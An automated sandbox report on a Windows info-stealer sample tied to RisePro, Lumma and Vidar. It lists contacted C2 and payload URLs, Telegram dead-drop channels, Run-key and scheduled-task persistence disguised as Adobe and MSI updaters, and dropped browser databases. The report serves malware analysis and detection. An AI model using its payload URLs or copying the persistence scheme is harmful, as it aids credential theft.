https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	URL Reputation: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.33	RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/sqlt.dll	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/nss3.dll	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/softokn3.dll	RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/g067nry1neMozilla/5.0	pQuKvF5V8lUXfe4thfRR.exe, 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582423734.00000000223CD000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/mozglue.dll	RegAsm.exe, 0000002B.00000002.4570012626.000000000107D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dllH	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/nss3.dlldll	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/lumma2606.exep	RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://49.13.33.235:9000/vcruntime140.dllB	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/freebl3.dllt	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://49.13.33.235:9000/softokn3.dll;	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000csrss.exe	RegAsm.exe, 0000002B.00000002.4567061171.0000000000539000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/Mozilla/5.0	RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.0000000001644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/4)	RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	RegAsm.exe, 00000028.00000002.3775221694.000000000167F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775969962.0000000005A65000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.2.dr	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dllhs	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000cal	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/msvcp140.dll	RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.K	RegAsm.exe, 00000028.00000002.3775221694.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.67.8/vidar2606.exe-	RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://49.13.33.235:9000/33.235:9000/	RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.13.33.235:9000/vcruntime140.dlle	RegAsm.exe, 0000002B.00000002.4567061171.0000000000445000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	3b6N2Xdh3CYwplaces.sqlite.2.dr	false	URL Reputation: safe	unknown
http://ns.microsofo/1.2/	RegAsm.exe, 00000002.00000002.2358106587.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CvldljVivtL9Web Data.2.dr, BAAEHD.43.dr, ev40y13uGHnnWeb Data.2.dr, atr5zp8nilwZWeb Data.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
5.42.67.8	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
104.26.4.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
49.13.33.235	unknown	Germany	24940	HETZNER-ASDE	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1463427
Start date and time:	2024-06-27 06:43:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BRWgvKaqbg.exe renamed because original name is a hash value
Original Sample Name:	c72e70f29d3dd8fa148df55e8e6dec43.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/67@4/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 75 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 13.89.179.12, 52.168.117.173, 20.42.73.29
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, depositybounceddwk.xyz, onedsblobprdcus17.centralus.cloudapp.azure.com, exertcreatedadnndjw.xyz, slammyslideplanntywks.xyz, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, aplointexhausdh.xyz, onedsblobprdwus16.westus.cloudapp.azure.com, compilecoppydkewsw.xyz, umwatson.events.data.microsoft.com, varitycookypowerw.xyz, manufactiredowreachhd.xyz, spitechallengddwlsv.xyz
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:44:20	API Interceptor	4x Sleep call for process: WerFault.exe modified
00:44:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe
00:44:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe
00:44:35	API Interceptor	1050214x Sleep call for process: RegAsm.exe modified
00:44:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe
00:44:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe
00:45:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe
00:45:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe
00:45:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe
00:46:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe
06:44:20	Task Scheduler	Run new task: MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR path: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
06:44:20	Task Scheduler	Run new task: MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f LG path: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
06:44:22	Task Scheduler	Run new task: MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 HR path: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
06:44:22	Task Scheduler	Run new task: MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 LG path: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
06:44:26	Task Scheduler	Run new task: MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 HR path: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe
06:44:26	Task Scheduler	Run new task: MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 LG path: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe
06:44:26	Task Scheduler	Run new task: MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 HR path: C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe
06:44:26	Task Scheduler	Run new task: MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 LG path: C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
5.42.67.8	rise2406.exe	Get hash	malicious	RisePro Stealer	Browse
	MqN5lD3LGo.exe	Get hash	malicious	RisePro Stealer	Browse
	1kBeqS7E3z.exe	Get hash	malicious	LummaC, RisePro Stealer, Vidar	Browse
	BY1Fwf74x3.exe	Get hash	malicious	RisePro Stealer, Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.4435.12354.exe	Get hash	malicious	CryptOne, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	CHA0VZiz8y.exe	Get hash	malicious	CryptOne, Djvu, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	WaGiUWSpyO.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	1n4J6tLgsc.exe	Get hash	malicious	RisePro Stealer	Browse
104.26.4.15	#Ud3ec#Ud2b8#Ud3f4#Ub9ac#Uc624.exe	Get hash	malicious	Nemty, Xmrig	Browse	api.db-ip.com/v2/free/102.129.152.212/countryName

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	Resolucion Juridica Bloqueo Cuentas y servicios SRI.vbs.xz	Get hash	malicious	Unknown	Browse	104.21.51.236
	vidar2406.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	RW3MLiFPzL.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	149.154.167.99
	nEtQ9BP9hL.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	BEfVzgLE2x.dll	Get hash	malicious	RedLine	Browse	149.154.167.99
	http://rocketpumps.info/	Get hash	malicious	Unknown	Browse	149.154.167.99
	jwhnGYoZ7k.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://www.trx010.asia/a/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://www.ptt999.asia/a/	Get hash	malicious	Unknown	Browse	149.154.167.99
ipinfo.io	https://t4ha7.shop/	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	FactuBoletaEletricidadCgeMAYO.msi_FactuBoletaEletricidadCgeMAYO.msi_49684.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	rise2406.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://telegravm.work/	Get hash	malicious	Telegram Phisher	Browse	34.117.186.192
	http://telegrarl.work/	Get hash	malicious	Telegram Phisher	Browse	34.117.186.192
	http://telegraem.work/	Get hash	malicious	Telegram Phisher	Browse	34.117.186.192
db-ip.com	rise2406.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	http://luxury-sherbet-tk1111-10e1b5.netlify.app/form.html	Get hash	malicious	Unknown	Browse	172.67.75.166
	https://le-2vr.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.5.15
	https://e23-c5p.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.5.15
	https://ml5-94x.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.5.15
	https://cn10.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	172.67.75.166
	https://verify-infraction-messages.netlify.app/appeal_case_id_561597519/	Get hash	malicious	Unknown	Browse	104.26.5.15
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	BqqQh4Jr7L.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	file.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	rise2406.exe	Get hash	malicious	RisePro Stealer	Browse	5.42.67.8
	MqN5lD3LGo.exe	Get hash	malicious	RisePro Stealer	Browse	5.42.67.8
	file.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	file.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	file.exe	Get hash	malicious	Unknown	Browse	5.42.66.10
	file.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	adbf66605a6b569b3b4e915ad9cdf271c0889a14fc59b70233b2c966fca1dc93_dump.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	file.exe	Get hash	malicious	RedLine	Browse	5.42.65.92
	DqnftBv2b9.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	5.42.104.211
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://t4ha7.shop/	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	FactuBoletaEletricidadCgeMAYO.msi_FactuBoletaEletricidadCgeMAYO.msi_49684.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	rise2406.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://riprogramma.consegna.3-79-47-0.cprapid.com/brt/update.php?%276	Get hash	malicious	Unknown	Browse	34.117.77.79
	http://3-79-47-0.cprapid.com/brt/update.php?%2704bd392f228f637be355	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://opposite-grandiose-flock.glitch.me/public/digitalapps.navyfederal.org.html	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	Authorization code - SO10552124.PDF	Get hash	malicious	Unknown	Browse	34.117.77.79
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
HETZNER-ASDE	https://he110ca11he1lpn0wwb112.pages.dev/	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	https://serviceca11he1pn0waa12.pages.dev/	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	rSCAN31804.exe	Get hash	malicious	GuLoader, Remcos	Browse	138.201.150.244
	http://beonlineboo.com	Get hash	malicious	Unknown	Browse	135.181.16.82
	http://www.bykiston.fi	Get hash	malicious	Unknown	Browse	95.216.7.204
	DOC02357.BAT.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	135.181.182.166
	doc20240626-00073.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	135.181.182.166
	vidar2406.exe	Get hash	malicious	Vidar	Browse	168.119.115.138
	GG017077 TAE.exe	Get hash	malicious	AgentTesla	Browse	195.201.175.19
	0Z0CbhhLet.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
CLOUDFLARENETUS	AirWaybill_Document Pdf.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://edworking.com/share/workspace/clxw0fp4e0tq913ofsrqas5ot	Get hash	malicious	HTMLPhisher	Browse	172.65.208.22
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	172.67.167.249
	http://viewtoday.co.za/wp-content/uploads/2019/08/afrihost-h-fc-rgb-01.png	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win64.RATX-gen.17621.16341.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	LOADING ADVICE.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://singlelogin.rs	Get hash	malicious	Unknown	Browse	104.21.76.46
	MzMXVPEjdy.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	mAJY4CrF1A.exe	Get hash	malicious	Blank Grabber, DCRat, Umbral Stealer	Browse	162.159.135.233
	245ad05af518252d59b13d1ce0921595767f112513f7b6fdce647f40535c600b_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	KEMPER NORTH AMERICA WIRE REMITTANCE.xlsx	Get hash	malicious	HTMLPhisher	Browse	34.117.186.192 104.26.4.15
	KEMPER NORTH AMERICA WIRE REMITTANCE.xlsx	Get hash	malicious	HTMLPhisher	Browse	34.117.186.192 104.26.4.15
	KMENEX_E_20220119_out.xlsm	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	KMENEX_E_20220119_out.xlsx	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	file.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	qeUaxJCA3FO.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	github.software.1.1.7.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse	34.117.186.192 104.26.4.15
	SecuriteInfo.com.Win32.Evo-gen.4053.32174.exe	Get hash	malicious	BlackMoon	Browse	34.117.186.192 104.26.4.15
	SecuriteInfo.com.Win32.Evo-gen.4053.32174.exe	Get hash	malicious	BlackMoon	Browse	34.117.186.192 104.26.4.15
37f463bf4616ecd445d4a1937da06e19	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	149.154.167.99
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Malware-Cryptor.Inject.gen.12012.10605.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	rSCAN31804.exe	Get hash	malicious	GuLoader, Remcos	Browse	149.154.167.99
	FactuBoletaEletricidadCgeMAYO.msi_FactuBoletaEletricidadCgeMAYO.msi_49684.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	data-sheet.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.99
	DRAFT SHIPPING DOCUMENTS.exe	Get hash	malicious	GuLoader, Lokibot	Browse	149.154.167.99
	8x121Y7FNW.js	Get hash	malicious	AveMaria, PrivateLoader	Browse	149.154.167.99
	Enquiry_-_Dubai.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.99
	DOC02357.BAT.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\BAAEHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\BFBGDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
